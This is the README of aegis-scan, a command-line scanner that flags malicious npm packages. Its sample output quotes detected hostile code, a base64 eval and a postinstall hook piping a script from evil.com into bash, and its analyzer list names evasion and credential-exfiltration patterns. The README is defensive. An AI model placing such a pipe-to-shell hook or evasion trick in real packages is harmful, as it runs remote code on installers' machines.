aegis-scan 0.3.0

Supply chain security CLI for npm — detect malicious packages before installing
Documentation

aegis

CI codecov License: MIT

Supply-chain security scanner for npm packages. Detect malicious code, typosquatting, and compromised packages before you install them.

$ aegis-scan check suspicious-pkg@1.0.0

  📦 suspicious-pkg@1.0.0

  ⛔ CRITICAL — Code Execution
  │  eval() with base64 encoded payload
  │  📄 lib/index.js:14
  │  └─ eval(Buffer.from("d2luZG93cy5sb2NhdGlvbg==", "base64").toString())

  ⚠️  HIGH — Install Script
  │  postinstall downloads and executes remote script
  │  📄 package.json
  │  └─ "postinstall": "curl https://evil.com | bash"

  Risk: 8.5/10 — DO NOT INSTALL

Installation

From crates.io

cargo install aegis-scan

From source

git clone https://github.com/z8run/aegis.git
cd aegis
cargo install --path .

Pre-built binaries

Download from the releases page.

Platform Binary
Linux x86_64 aegis-linux-x86_64
macOS Apple Silicon aegis-macos-arm64
macOS Intel aegis-macos-x86_64

Usage

Check a package

aegis-scan check axios
aegis-scan check axios@1.7.0
aegis-scan check @angular/core@17.0.0

Scan a project

aegis-scan scan .
aegis-scan scan ./my-project --skip-dev

Install with security check

aegis-scan install axios express        # check then install
aegis-scan install                       # check all deps then npm install
aegis-scan install axios --force         # skip confirmation prompts

Output formats

aegis-scan check lodash --json           # JSON output
aegis-scan check lodash --sarif          # SARIF v2.1.0 (GitHub Security tab)

Cache management

aegis-scan cache clear                   # clear all cached results
aegis-scan check axios --no-cache        # bypass cache for this check

What it detects

11 analyzers run on every package, plus 2 optional:

Analyzer Description
Static code eval(), child_process, network exfiltration, env harvesting via regex. Includes anti-evasion: bracket notation (global['eval']), base64 function names, indirect eval ((0,eval))
AST analysis tree-sitter parsing for JS/TS/TSX — structural detection of dangerous patterns, string concatenation tricks ('ev'+'al'), variable aliasing
Binary inspection Scans .wasm, .node, .exe, .dll, .so files; extracts strings to find embedded URLs, shell commands, and credential patterns; measures entropy for packed/encrypted payloads
Data flow analysis Lightweight taint tracking for multi-step attack patterns: env exfiltration, dropper patterns (download -> write -> execute), credential theft (.npmrc/.ssh -> network)
Provenance verification Compares npm tarball contents against the GitHub source repo; detects injected files not in source; checks for npm Sigstore provenance attestations
Install scripts Suspicious postinstall/preinstall commands
Obfuscation High entropy, hex/base64 payloads, encoded strings, multiline comment stripping to reduce false positives
Maintainer tracking Ownership transfers, new accounts, takeovers
AI hallucination & typosquatting Packages that LLMs "invent", normalized Levenshtein distance, plugin/extension whitelist, homoglyph detection
CVE lookup Known vulnerabilities via OSV.dev
YAML rules 10 built-in rules + custom community rules

Optional (flag-activated):

Analyzer Flag Description
Dependency tree --deep Recursive scan of transitive dependencies
Version diff --compare <version> Compare against a previous version for security-relevant changes

Security hardening

  • Path traversal protection in tarball extraction (defends against zip-slip style attacks)
  • SSRF validation on all outbound requests

Risk scoring

Findings are weighted by severity and summed to a 0-10 score:

Severity Weight Example
Critical 3.0 eval(Buffer.from(...)), pipe-to-shell
High 1.5 require('child_process'), env harvesting
Medium 0.5 DNS lookups, WebSocket connections
Low 0.1 fetch() with dynamic URL, file reads
Score Label
0-1 CLEAN
1-3 LOW RISK
3-5 MEDIUM RISK
5-7 HIGH RISK
7-10 DO NOT INSTALL

CI/CD

GitHub Action

- uses: z8run/aegis-action@v1
  with:
    path: '.'
    fail-on: 'high'       # critical, high, medium, low
    skip-dev: 'false'
    sarif: 'true'          # upload to GitHub Security tab

Exit codes

Code Meaning
0 No high-risk findings
1 HIGH or CRITICAL findings detected
2 Runtime error

Custom rules

Place .yml files in a rules/ directory:

id: "CUSTOM-001"
name: "Crypto wallet regex"
description: "Flags packages containing crypto wallet address patterns"
severity: high
category: suspicious
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"
exclude_paths:
  - "node_modules/"
  - "test/"
  - "*.min.js"

See rules/examples/ for more.

Architecture

npm registry → tarball extraction → analyzers → risk scoring → output
                                        │
            ┌──────────────┬────────────┼────────────┬──────────────┐
            │              │            │            │              │
      static + AST    binary +     metadata     provenance    external APIs
     (code, evasion,  data flow   (maintainer,  (source vs    (CVE, dep tree)
      obfuscation)    (taint)     hallucination) tarball)

Results are cached locally (~/.aegis/cache/) for 24 hours.

Contributing

See CONTRIBUTING.md for development setup and guidelines.

License

MIT